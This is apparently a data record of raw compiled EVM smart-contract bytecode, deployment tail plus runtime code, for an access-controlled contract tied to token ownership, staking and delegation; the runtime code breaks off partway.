20004b4565b92505060206200050585828601620004b4565b9150509250929050565b613609806200051d5f395ff3fe608060405234801561000f575f80fd5b5060043610610135575f3560e01c80638da5cb5b116100b6578063bb7c93fa1161007a578063bb7c93fa1461032f578063bdb6955a1461034b578063c4d4073b14610369578063c6dba6241461039a578063e9aab685146103cb578063f2fde38b146103fb57610135565b80638da5cb5b146102715780639345feac1461028f578063956e958a146102ad578063966beda9146102e2578063b31985c2146102fe57610135565b80633d086286116100fd5780633d086286146101f55780634be0110c146102135780635d5fd04d1461022f57806363df70141461024b578063715018a61461026757610135565b806301ffc9a71461013957806313154b7e14610169578063156d2c2d14610185578063168e4d83146101a157806317753f88146101d7575b5f80fd5b610153600480360381019061014e91906128b5565b610417565b60405161016091906128fa565b60405180910390f35b610183600480360381019061017e9190612a4f565b610448565b005b61019f600480360381019061019a9190612af0565b6104b1565b005b6101bb60048036038101906101b69190612b4e565b610666565b6040516101ce9796959493929190612c02565b60405180910390f35b6101df61093e565b6040516101ec9190612c8b565b60405180910390f35b6101fd6109ce565b60405161020a9190612c8b565b60405180910390f35b61022d60048036038101906102289190612cab565b610a5a565b005b61024960048036038101906102449190612d17565b6110a2565b005b61026560048036038101906102609190612b4e565b611360565b005b61026f6118e9565b005b6102796119ae565b6040516102869190612d64565b60405180910390f35b6102976119d5565b6040516102a49190612d64565b60405180910390f35b6102c760048036038101906102c29190612b4e565b6119fa565b6040516102d996959493929190612d7d565b60405180910390f35b6102fc60048036038101906102f79190612af0565b611bdc565b005b61031860048036038101906103139190612b4e565b611d44565b604051610326929190612df1565b60405180910390f35b61034960048036038101906103449190612e42565b611da2565b005b610353612454565b6040516103609190612d64565b60405180910390f35b610383600480360381019061037e9190612f33565b612479565b604051610391929190612f71565b60405180910390f35b6103b460048036038101906103af9190612af0565b61252a565b6040516103c2929190612df1565b60405180910390f35b6103e560048036038101906103e09190612f33565b612588565b6040516103f29190612c8b565b60405180910390f35b61041560048036038101906104109190612af0565b612692565b005b5f637f5828d060e01b827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461049e575f80fd5b80600890816104ad9190613199565b5050565b3373ffffffffffffffffffffffffffffffffffffffff1660075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f206001015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461057e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610575906132b2565b60405180910390fd5b60075f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8082015f6101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055600182015f6101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f9707cdba5b9bc019fd0657ac3b54ba7c7a8bf5be354b01b2b74083c185dd44dc60405160405180910390a350565b5f805f6060806060805f60045f8a81526020019081526020015f206040518060c00160405290815f82015f9054906101000a900460ff1615151515815260200160018201548152602001600282015f9054906101000a900460ff161515151581526020016003820180546106d990612fcc565b80601f016020809104026020016040519081016040528092919081815260200182805461070590612fcc565b80156107505780601f1061072757610100808354040283529160200191610750565b820191905f5260205f20905b81548152906001019060200180831161073357829003601f168201915b5050505050815260200160048201805461076990612fcc565b80601f016020809104026020016040519081016040528092919081815260200182805461079590612fcc565b80156107e05780601f106107b7576101008083540402835291602001916107e0565b820191905f5260205f20905b8154815290600101906020018083116107c357829003601f168201915b505050505081526020016005820180546107f990612fcc565b80601f016020809104026020016040519081016040528092919081815260200182805461082590612fcc565b80156108705780601f1061084757610100808354040283529160200191610870565b820191905f5260205f20905b81548152906001019060200180831161085357829003601f168201915b5050505050815250509050805f015181602001518260400151836060015184608001518560a0015160088080546108a690612fcc565b80601f01602080910402602001604051908101604052809291908181526020018280546108d290612fcc565b801561091d5780601f106108f45761010080835404028352916020019161091d565b820191905f5260205f20905b81548152906001019060200180831161090057829003601f168201915b50505050509050975097509750975097509750975050919395979092949650565b60606008805461094d90612fcc565b80601f016020809104026020016040519081016040528092919081815260200182805461097990612fcc565b80156109c45780601f1061099b576101008083540402835291602001916109c4565b820191905f5260205f20905b8154815290600101906020018083116109a757829003601f168201915b5050505050905090565b600880546109db90612fcc565b80601f0160208091040260200160405190810160405280929190818152602001828054610a0790612fcc565b8015610a525780601f10610a2957610100808354040283529160200191610a52565b820191905f5260205f20905b815481529060010190602001808311610a3557829003601f168201915b505050505081565b825f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505f8173ffffffffffffffffffffffffffffffffffffffff16636352211e846040518263ffffffff1660e01b8152600401610aba91906132d0565b602060405180830381865afa158015610ad5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610af991906132fd565b90503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480610b93575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16148015610b925750610b918333612758565b5b5b15610c0657604051806040016040528085815260200160035f8981526020019081526020015f205481525060055f8881526020019081526020015f205f8781526020019081526020015f205f820151815f019081610bf19190613199565b5060208201518160010155905050505061109c565b5f60075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f206040518060400160405290815f82015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600182015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152505090503373ffffffffffffffffffffffffffffffffffffffff16815f015173ffffffffffffffffffffffffffffffffffffffff1603610e4b575f8273ffffffffffffffffffffffffffffffffffffffff16826020015173ffffffffffffffffffffffffffffffffffffffff161480610dd1575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015610dd05750610dcf858360200151612758565b5b5b90508015610e4957604051806040016040528087815260200160035f8b81526020019081526020015f205481525060055f8a81526020019081526020015f205f8981526020019081526020015f205f820151815f019081610e329190613199565b50602082015181600101559050505050505061109c565b505b5f60065f8681526020019081526020015f206040518060400160405290815f82015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600182015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152505090505f3373ffffffffffffffffffffffffffffffffffffffff16826020015173ffffffffffffffffffffffffffffffffffffffff16148015610fed57508373ffffffffffffffffffffffffffffffffffffffff16825f015173ffffffffffffffffffffffffffffffffffffffff161480610fec575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610feb5750610fea86835f0151612758565b5b5b5b90508061102f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102690613372565b60405180910390fd5b604051806040016040528088815260200160035f8c81526020019081526020015f205481525060055f8b81526020019081526020015f205f8a81526020019081526020015f205f820151815f0190816110889190613199565b506020820151816001015590505050505050505b50505050565b815f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505f8173ffffffffffffffffffffffffffffffffffffffff16636352211e846040518263ffffffff1660e01b815260040161110291906132d0565b602060405180830381865afa15801561111d573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061114191906132fd565b90505f60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156111a657506111a58433612758565b5b90503373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614806111df5750805b61121e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611215906133da565b60405180910390fd5b60405180604001604052803373ffffffffffffffffffffffffffffffffffffffff1681526020018673ffffffffffffffffffffffffffffffffffffffff1681525060065f8881526020019081526020015f205f820151815f015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550905050858573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fdfe4038b7a47a54e9cb9a74936e28ebea8370918b17bb83cab7225cfc1e1e5c560405160405180910390a4505050505050565b805f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505f8173ffffffffffffffffffffffffffffffffffffffff16636352211e846040518263ffffffff1660e01b81526004016113c091906132d0565b602060405180830381865afa1580156113db573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113ff91906132fd565b90503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480611499575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614801561149857506114978333612758565b5b5b156114cd57600160035f8681526020019081526020015f205f8282546114bf9190613425565b9250508190555050506118e5565b5f60075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f206040518060400160405290815f82015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600182015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152505090503373ffffffffffffffffffffffffffffffffffffffff16815f015173ffffffffffffffffffffffffffffffffffffffff16036116d3575f8273ffffffffffffffffffffffffffffffffffffffff16826020015173ffffffffffffffffffffffffffffffffffffffff161480611698575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156116975750611696858360200151612758565b5b5b905080156116d157600160035f8881526020019081526020015f205f8282546116c19190613425565b92505081905550505050506118e5565b505b5f60065f8681526020019081526020015f206040518060400160405290815f82015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600182015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152505090505f3373ffffffffffffffffffffffffffffffffffffffff16826020015173ffffffffffffffffffffffffffffffffffffffff1614801561187557508373ffffffffffffffffffffffffffffffffffffffff16825f015173ffffffffffffffffffffffffffffffffffffffff161480611874575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611873575061187286835f0151612758565b5b5b5b9050806118b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ae90613372565b60405180910390fd5b600160035f8981526020019081526020015f205f8282546118d89190613425565b9250508190555050505050505b5050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461196d576040517f30cd747100000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6004602052805f5260405f205f91509050805f015f9054906101000a900460ff1690806001015490806002015f9054906101000a900460ff1690806003018054611a4390612fcc565b80601f0160208091040260200160405190810160405280929190818152602001828054611a6f90612fcc565b8015611aba5780601f10611a9157610100808354040283529160200191611aba565b820191905f5260205f20905b815481529060010190602001808311611a9d57829003601f168201915b505050505090806004018054611acf90612fcc565b80601f0160208091040260200160405190810160405280929190818152602001828054611afb90612fcc565b8015611b465780601f10611b1d57610100808354040283529160200191611b46565b820191905f5260205f20905b815481529060010190602001808311611b2957829003601f168201915b505050505090806005018054611b5b90612fcc565b80601f0160208091040260200160405190810160405280929190818152602001828054611b8790612fcc565b8015611bd25780601f10611ba957610100808354040283529160200191611bd2565b820191905f5260205f20905b815481529060010190602001808311611bb557829003601f168201915b5050505050905086565b60405180604001604052808273ffffffffffffffffffffffffffffffffffffffff1681526020013373ffffffffffffffffffffffffffffffffffffffff1681525060075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f820151815f015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055509050508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f209d7c70c1ab2adc07afcfbbaab11b6392ea49508eaef7028b6faf9a20d2234560405160405180910390a350565b6006602052805f5260405f205f91509050805f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806001015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905082565b865f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505f8173ffffffffffffffffffffffffffffffffffffffff16636352211e846040518263ffffffff1660e01b8152600401611e0291906132d0565b602060405180830381865afa158015611e1d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611e4191906132fd565b90503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480611edb575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16148015611eda5750611ed98333612758565b5b5b15611f70575f60045f8c81526020019081526020015f20905089815f015f6101000a81548160ff02191690831515021790555088816001018190555087816002015f6101000a81548160ff02191690831515021790555086816003019081611f439190613199565b5085816004019081611f559190613199565b5084816005019081611f679190613199565b5050505061244a565b5f60075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f206040518060400160405290815f82015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600182015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152505090503373ffffffffffffffffffffffffffffffffffffffff16815f015173ffffffffffffffffffffffffffffffffffffffff16036121d7575f8273ffffffffffffffffffffffffffffffffffffffff16826020015173ffffffffffffffffffffffffffffffffffffffff16148061213b575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561213a5750612139858360200151612758565b5b5b905080156121d5575f60045f8e81526020019081526020015f2090508b815f015f6101000a81548160ff0219169083151502179055508a816001018190555089816002015f6101000a81548160ff021916908315150217905550888160030190816121a69190613199565b50878160040190816121b89190613199565b50868160050190816121ca9190613199565b50505050505061244a565b505b5f60065f8681526020019081526020015f206040518060400160405290815f82015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600182015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152505090505f3373ffffffffffffffffffffffffffffffffffffffff16826020015173ffffffffffffffffffffffffffffffffffffffff1614801561237957508373ffffffffffffffffffffffffffffffffffffffff16825f015173ffffffffffffffffffffffffffffffffffffffff161480612378575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015612377575061237686835f0151612758565b5b5b5b9050806123bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123b290613372565b60405180910390fd5b5f60045f8f81526020019081526020015f2090508c815f015f6101000a81548160ff0219169083151502179055508b81600101819055508a816002015f6101000a81548160ff0219169083151502179055508981600301908161241e9190613199565b50888160040190816124309190613199565b50878160050190816124429190613199565b505050505050505b5050505050505050565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052815f5260405f20602052805f5260405f205f9150915050805f0180546124a390612fcc565b80601f01602080910402602001604051908101604052809291908181526020018280546124cf90612fcc565b801561251a5780601f106124f15761010080835404028352916020019161251a565b820191905f5260205f20905b8154815290600101906020018083116124fd57829003601f168201915b5050505050908060010154905082565b6007602052805f5260405f205f91509050805f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806001015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905082565b60605f60055f8581526020019081526020015f205f8481526020019081526020015f206040518060400160405290815f820180546125c590612fcc565b80601f01602080910402602001604051908101604052809291908181526020018280546125f190612fcc565b801561263c5780601f106126135761010080835404028352916020019161263c565b820191905f5260205f20905b81548152906001019060200180831161261f57829003601f168201915b50505050508152602001600182015481525050905060035f8581526020019081526020015f205481602001510361267957805f015191505061268c565b60405180602001604052805f8152509150505b92915050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612716576040517f30cd747100000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f8060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505f8173ffffffffffffffffffffffffffffffffffffffff166363c28db1856040518263ffffffff1660e01b81526004016127b89190612d64565b5f60405180830381865afa1580156127d2573d5f803e3d5ffd5b505050506040513d5f823e3d601f19601f820116820180604052508101906127fa9190613530565b5090505f5b8151811015612842578582828151811061281c5761281b6135a6565b5b6020026020010151036128355760019350505050612849565b80806001019150506127ff565b505f925050505b92915050565b5f604051905090565b5f80fd5b5f80fd5b5f7fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b61289481612860565b811461289e575f80fd5b50565b5f813590506128af8161288b565b92915050565b5f602082840312156128ca576128c9612858565b5b5f6128d7848285016128a1565b91505092915050565b5f8115159050919050565b6128f4816128e0565b82525050565b5f60208201905061290d5f8301846128eb565b92915050565b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6129618261291b565b810181811067ffffffffffffffff821117156129805761297f61292b565b5b80604052505050565b5f61299261284f565b905061299e8282612958565b919050565b5f67ffffffffffffffff8211156129bd576129bc61292b565b5b6129c68261291b565b9050602081019050919050565b828183375f83830152505050565b5f6129f36129ee846129a3565b612989565b905082815260208101848484011115612a0f57612a0e612917565b5b612a1a8482856129d3565b509392505050565b5f82601f830112612a3657612a35612913565b5b8135612a468482602086016129e1565b91505092915050565b5f60208284031215612a6457612a63612858565b5b5f82013567ffffffffffffffff811115612a8157612a8061285c565b5b612a8d84828501612a22565b91505092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612abf82612a96565b9050919050565b612acf81612ab5565b8114612ad9575f80fd5b50565b5f81359050612aea81612ac6565b92915050565b5f60208284031215612b0557612b04612858565b5b5f612b1284828501612adc565b91505092915050565b5f819050919050565b612b2d81612b1b565b8114612b37575f80fd5b50565b5f81359050612b4881612b24565b92915050565b5f60208284031215612b6357612b62612858565b5b5f612b7084828501612b3a565b91505092915050565b612b8281612b1b565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612bbf578082015181840152602081019050612ba4565b5f8484015250505050565b5f612bd482612b88565b612bde8185612b92565b9350612bee818560208601612ba2565b612bf78161291b565b840191505092915050565b5f60e082019050612c155f83018a6128eb565b612c226020830189612b79565b612c2f60408301886128eb565b8181036060830152612c418187612bca565b90508181036080830152612c558186612bca565b905081810360a0830152612c698185612bca565b905081810360c0830152612c7d8184612bca565b905098975050505050505050565b5f6020820190508181035f830152612ca38184612bca565b905092915050565b5f805f60608486031215612cc257612cc1612858565b5b5f612ccf86828701612b3a565b9350506020612ce086828701612b3a565b925050604084013567ffffffffffffffff811115612d0157612d0061285c565b5b612d0d86828701612a22565b9150509250925092565b5f8060408385031215612d2d57612d2c612858565b5b5f612d3a85828601612b3a565b9250506020612d4b85828601612adc565b9150509250929050565b612d5e81612ab5565b82525050565b5f602082019050612d775f830184612d55565b92915050565b5f60c082019050612d905f8301896128eb565b612d9d6020830188612b79565b612daa60408301876128eb565b8181036060830152612dbc8186612bca565b90508181036080830152612dd08185612bca565b905081810360a0830152612de48184612bca565b9050979650505050505050565b5f604082019050612e045f830185612d55565b612e116020830184612d55565b9392505050565b612e21816128e0565b8114612e2b575f80fd5b50565b5f81359050612e3c81612e18565b92915050565b5f805f805f805f60e0888a031215612e5d57612e5c612858565b5b5f612e6a8a828b01612b3a565b9750506020612e7b8a828b01612e2e565b9650506040612e8c8a828b01612b3a565b9550506060612e9d8a828b01612e2e565b945050608088013567ffffffffffffffff811115612ebe57612ebd61285c565b5b612eca8a828b01612a22565b93505060a088013567ffffffffffffffff811115612eeb57612eea61285c565b5b612ef78a828b01612a22565b92505060c088013567ffffffffffffffff811115612f1857612f1761285c565b5b612f248a828b01612a22565b91505092959891949750929550565b5f8060408385031215612f4957612f48612858565b5b5f612f5685828601612b3a565b9250506020612f6785828601612b3a565b9150509250929050565b5f6040820190508181035f830152612f898185612bca565b9050612f986020830184612b79565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680612fe357607f821691505b602082108103612ff657612ff5612f9f565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026130587fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8261301d565b613062868361301d565b95508019841693508086168417925050509392505050565b5f819050919050565b5f61309d61309861309384612b1b565b61307a565b612b1b565b9050919050565b5f819050919050565b6130b683613083565b6130ca6130c2826130a4565b848454613029565b825550505050565b5f90565b6130de6130d2565b6130e98184846130ad565b505050565b5b8181101561310c576131015f826130d6565b6001810190506130ef565b5050565b601f8211156131515761312281612ffc565b61312b8461300e565b8101602085101561313a578190505b61314e6131468561300e565b8301826130ee565b50505b505050565b5f82821c905092915050565b5f6131715f1984600802613156565b1980831691505092915050565b5f6131898383613162565b9150826002028217905092915050565b6131a282612b88565b67ffffffffffffffff8111156131bb576131ba61292b565b5b6131c58254612fcc565b6131d0828285613110565b5f60209050601f831160018114613201575f84156131ef578287015190505b6131f9858261317e565b865550613260565b601f19841661320f86612ffc565b5f5b8281101561323657848901518255600182019150602085019450602081019050613211565b86831015613253578489015161324f601f891682613162565b8355505b6001600288020188555050505b505050505050565b7f4e6f7420617574686f72697a656420746f207265766f6b6500000000000000005f82015250565b5f61329c601883612b92565b91506132a782613268565b602082019050919050565b5f6020820190508181035f8301526132c981613290565b9050919050565b5f6020820190506132e35f830184612b79565b92915050565b5f815190506132f781612ac6565b92915050565b5f6020828403121561331257613311612858565b5b5f61331f848285016132e9565b91505092915050565b7f4e6f7420617574686f72697a65640000000000000000000000000000000000005f82015250565b5f61335c600e83612b92565b915061336782613328565b602082019050919050565b5f6020820190508181035f83015261338981613350565b9050919050565b7f43616c6c6572206973206e6f74206f776e6572206f72207374616b65720000005f82015250565b5f6133c4601d83612b92565b91506133cf82613390565b602082019050919050565b5f6020820190508181035f8301526133f1816133b8565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61342f82612b1b565b915061343a83612b1b565b9250828201905080821115613452576134516133f8565b5b92915050565b5f67ffffffffffffffff8211156134725761347161292b565b5b602082029050602081019050919050565b5f80fd5b5f8151905061349581612b24565b92915050565b5f6134ad6134a884613458565b612989565b905080838252602082019050602084028301858111156134d0576134cf613483565b5b835b818110156134f957806134e58882613487565b8452602084019350506020810190506134d2565b5050509392505050565b5f82601f83011261351757613516612913565b5b815161352784826020860161349b565b91505092915050565b5f806040838503121561354657613545612858565b5b5f83015167ffffffffffffffff8111156135635761356261285c565b5b61356f85828601613503565b925050602083015167ffffffffffffffff8111156135905761358f61285c565b5b61359c85828601613503565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffdfea26469706673582212203dc23070c7a85b8714e6f7f77f73ed1c4725904427e21c51dd96595963dc36fb64736f6c6343000818003300000000000000000000000018487d2cac946c7fe800855c4039aac210f68baa000000000000000000000000287787f55723f7a816aa37de1dbd72a4671de1cc	608060405234801561000f575f80fd5b5060043610610135575f3560e01c80638da5cb5b116100b6578063bb7c93fa1161007a578063bb7c93fa1461032f578063bdb6955a1461034b578063c4d4073b14610369578063c6dba6241461039a578063e9aab685146103cb578063f2fde38b146103fb57610135565b80638da5cb5b146102715780639345feac1461028f578063956e958a146102ad578063966beda9146102e2578063b31985c2146102fe57610135565b80633d086286116100fd5780633d086286146101f55780634be0110c146102135780635d5fd04d1461022f57806363df70141461024b578063715018a61461026757610135565b806301ffc9a71461013957806313154b7e14610169578063156d2c2d14610185578063168e4d83146101a157806317753f88146101d7575b5f80fd5b610153600480360381019061014e91906128b5565b610417565b60405161016091906128fa565b60405180910390f35b610183600480360381019061017e9190612a4f565b610448565b005b61019f600480360381019061019a9190612af0565b6104b1565b005b6101bb60048036038101906101b69190612b4e565b610666565b6040516101ce9796959493929190612c02565b60405180910390f35b6101df61093e565b6040516101ec9190612c8b565b60405180910390f35b6101fd6109ce565b60405161020a9190612c8b565b60405180910390f35b61022d60048036038101906102289190612cab565b610a5a565b005b61024960048036038101906102449190612d17565b6110a2565b005b61026560048036038101906102609190612b4e565b611360565b005b61026f6118e9565b005b6102796119ae565b6040516102869190612d64565b60405180910390f35b6102976119d5565b6040516102a49190612d64565b60405180910390f35b6102c760048036038101906102c29190612b4e565b6119fa565b6040516102d996959493929190612d7d565b60405180910390f35b6102fc60048036038101906102f79190612af0565b611bdc565b005b61031860048036038101906103139190612b4e565b611d44565b604051610326929190612df1565b60405180910390f35b61034960048036038101906103449190612e42565b611da2565b005b610353612454565b6040516103609190612d64565b60405180910390f35b610383600480360381019061037e9190612f33565b612479565b604051610391929190612f71565b60405180910390f35b6103b460048036038101906103af9190612af0565b61252a565b6040516103c2929190612df1565b60405180910390f35b6103e560048036038101906103e09190612f33565b612588565b6040516103f29190612c8b565b60405180910390f35b61041560048036038101906104109190612af0565b612692565b005b5f637f5828d060e01b827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461049e575f80fd5b80600890816104ad9190613199565b5050565b3373ffffffffffffffffffffffffffffffffffffffff1660075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f206001015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461057e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610575906132b2565b60405180910390fd5b60075f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8082015f6101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055600182015f6101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f9707cdba5b9bc019fd0657ac3b54ba7c7a8bf5be354b01b2b74083c185dd44dc60405160405180910390a350565b5f805f6060806060805f60045f8a81526020019081526020015f206040518060c00160405290815f82015f9054906101000a900460ff1615151515815260200160018201548152602001600282015f9054906101000a900460ff161515151581526020016003820180546106d990612fcc565b80601f016020809104026020016040519081016040528092919081815260200182805461070590612fcc565b80156107505780601f1061072757610100808354040283529160200191610750565b820191905f5260205f20905b81548152906001019060200180831161073357829003601f168201915b5050505050815260200160048201805461076990612fcc565b80601f016020809104026020016040519081016040528092919081815260200182805461079590612fcc565b80156107e05780601f106107b7576101008083540402835291602001916107e0565b820191905f5260205f20905b8154815290600101906020018083116107c357829003601f168201915b505050505081526020016005820180546107f990612fcc565b80601f016020809104026020016040519081016040528092919081815260200182805461082590612fcc565b80156108705780601f1061084757610100808354040283529160200191610870565b820191905f5260205f20905b81548152906001019060200180831161085357829003601f168201915b5050505050815250509050805f015181602001518260400151836060015184608001518560a0015160088080546108a690612fcc565b80601f01602080910402602001604051908101604052809291908181526020018280546108d290612fcc565b801561091d5780601f106108f45761010080835404028352916020019161091d565b820191905f5260205f20905b81548152906001019060200180831161090057829003601f168201915b50505050509050975097509750975097509750975050919395979092949650565b60606008805461094d90612fcc565b80601f016020809104026020016040519081016040528092919081815260200182805461097990612fcc565b80156109c45780601f1061099b576101008083540402835291602001916109c4565b820191905f5260205f20905b8154815290600101906020018083116109a757829003601f168201915b5050505050905090